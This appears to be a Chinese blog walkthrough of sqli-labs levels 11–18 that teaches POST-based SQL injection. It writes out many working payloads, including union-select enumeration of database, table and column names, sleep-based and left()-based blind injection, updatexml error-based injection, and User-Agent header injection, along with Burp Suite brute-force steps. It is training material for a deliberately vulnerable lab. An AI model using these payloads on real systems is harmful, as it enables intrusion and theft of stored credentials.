post注入


学习post注入,首先需要知道post传递,post与get注入明显区别在于,get在执行命令后在url中可以看出变化,而post则是在后台才可以看见,在url中发现不了变化,具体讲解可以看大佬的详细解释
链接: https://www.zhihu.com/question/28586791

sql-lab 11

观察11关,是以post形式进行注入
在靶场中输入admin获取正确信息,然后打开代理,与burpsuite连接,得到post方式的信息
输入到hackbar中post方式下
在这里插入图片描述
在get方式中,注释方法为–+,而在post方式中,注释方法为#
我们观察用户名和密码包裹方式都是一对单引号包裹,我们在uname后加上’即可注入

获取字段数

代码:

uname=n' order by 3 #&passwd=admin&submit=Submit

在这里插入图片描述
显示字段3不存在,接下来试试2
代码:

uname=n' order by 2 #&passwd=admin&submit=Submit

在这里插入图片描述
虽然仍显示登录失败,但是并未说字段2不存在,所以字段数为2
绕过型注入
代码:

uname=n' or 1=1#&passwd=admin&submit=Submit

在这里插入图片描述
使用联合查询
代码:

uname=n' union select 1,2#&passwd=admin&submit=Submit

在这里插入图片描述
查询当前数据库
代码:

uname=n' union select 1,database()#&passwd=admin&submit=Submit

在这里插入图片描述

查询第一个数据库

代码:

uname=n' union select 1,schema_name from information_schema.schemata #&passwd=admin&submit=Submit

在这里插入图片描述
获取第二个(limit函数)
代码:

uname=n' union select 1,schema_name from information_schema.schemata limit 1,1 #&passwd=admin&submit=Submit

在这里插入图片描述
法二:获取数据库(利用group_concat函数)
代码:

uname=n' union select 1,group_concat(schema_name) from information_schema.schemata  #&passwd=admin&submit=Submit

在这里插入图片描述

获取表名(查取security为例)

代码:

uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'  #&passwd=admin&submit=Submit

在这里插入图片描述

获取列名

代码:

uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'  #&passwd=admin&submit=Submit

在这里插入图片描述

获取字段信息

代码:

uname=n' union select 1,group_concat(id,password,username) from security.users  #&passwd=admin&submit=Submit

在这里插入图片描述
由于过乱,所以我们采用另一个函数concat_ws来将内容进行分割(0x7e是~的十六进制表示)
代码:

uname=n' union select 1,group_concat(0x7e,id,username,password) from security.users#&passwd=admin&submit=Submit

在这里插入图片描述

sql-lab 12

猜解包裹方式
方式无外乎这几种:
1、’
2、‘)
3、‘))
4、“
5、“)
6、“))
一一代入即可获取答案
十二关与十一关区别只有包裹方式不同,其他cv进去即可得到答案

sql-lab 13

首先猜测包裹方式
一一判断后发现包裹方式为’),所以我们在uname后加上’)再进行注释,利用union
Select 时我们发现没有回显
在这里插入图片描述
说明正确时只能显示登录成功,所以我们只能使用盲注
法一:运用sleep函数
判断数据库长度
代码:

uname=n') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit

在这里插入图片描述
为了确定句子是否正确,我们可以来输入长度为10(已知长度为8)进行验证
在这里插入图片描述
法二:left函数
判断第一个数据库名的首字母
代码:

uname=n') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=admin&submit=Submit

在这里插入图片描述
此时也可使用burpsuite来破解
操作如下:
打开网站代理,开启burpsuite获取信息
在这里插入图片描述
发送至爆破模块
在这里插入图片描述
清除变量,并将a设置为变量
在这里插入图片描述
选择暴力破解,删去数字,最大值与最小值都设置为1
在这里插入图片描述
线程改为30
在这里插入图片描述
点击开始攻击
在这里插入图片描述
此时看出i与其他不同,为了进一步确定第一个字母是i,我们可以来看输出的图片

成功登陆为flag.php,我们观察下面图片的第一行最后插入的图片名为flag.php
在这里插入图片描述
说明成功注入,也可以利用burpsuite的render来看是否注入成功
在这里插入图片描述
显示成功登陆,说明注入成功,第二个猜解依旧与此相同

判断表名
首先判断长度

再判断首字母
代码:

uname=n') or left((select table_name from information_schema.tables where table_schema='test' limit 0,1),1)='a'#&passwd=admin&submit=Submit

打开网站代理,使得burpsuite获取信息
发送至爆破模块
在这里插入图片描述
清楚变量,将a变成变量
在这里插入图片描述
选择暴力破解,去掉数字,将最大值和最小值都改成1
在这里插入图片描述
线程改为30
在这里插入图片描述
开始攻击
在这里插入图片描述
后面与此类似

sql-lab 14

查看第十四关
唯一不同点在于包裹方式不同,其他都相同(注入成功无回显,只有成功登录)
在这里插入图片描述

sql-lab 15

查看第十五关
在这里插入图片描述
与前两关区别在于包裹方式为’,其他无任何不同

知识扩充:

Xpath函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
1 updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
1 ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

sql-lab 17

首先添加四段语句(便于小白学习)
上面的echo $sql和echo”</ br>”也是
在这里插入图片描述
在这里插入图片描述
发现username输入错误时候会报错,而password输入则会重置,因此我们必须知道用户的用户名才能注入
观察十七关,发现在unname中注入会被转义,所以我们选择在passwd中进行注入
在这里插入图片描述
此时采用xpath函数来破解
示例:

获取表名

代码:

uname=admin &passwd=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit

在这里插入图片描述

获取表名

代码:
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) #&submit=Submit
在这里插入图片描述

获取列名

uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1)),1) #&submit=Submit

获取字段信息

代码
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,(select email_id from security.emails limit 0,1)),1) #&submit=Submit
在这里插入图片描述
获取其他与此操作相似,不再重复

sql-lab 18

观察题目并进行测试

发现执行正确时会报出user-agent和本机地址
错误时只报出本机地址
在这里插入图片描述
而且我们发现在unname和passwd中进行注入时发现’被转义,所以不能使用这两个来进行注入,这时候只有user -agent 有回显,所以我们可以用user-agent来进行报错注入,首先用burpsuite抓包,然后发送到repeat模块,然后将user-agent内容改为 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1,点击Go运行,查看结果,报出了当前数据库security
在这里插入图片描述
前面的’和后面1的’需要看情况,如果user-agent是用双引号包裹的那就需要改成双引号,遇到题时一一测试即可,关于最后为什么不用加注释符,原因是后面还要其它内容要插入,你用注释符后面就注释掉了,无法正常插入。
简单的理解就是user-agent执行后后面还有很多语句要执行,如果加个注释符,后面的就无法执行了(注释符:可以理解为#是把后面所有东西都注释了)

查询数据库名

User-Agent:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1) or '1'='1
在这里插入图片描述

查询表名

User-Agent: ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) or '1'='1
在这里插入图片描述

查询列名

User-Agent: ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1) or '1'='1
在这里插入图片描述

查询字段信息

User-Agent: ' and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1) or '1'='1
在这里插入图片描述

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值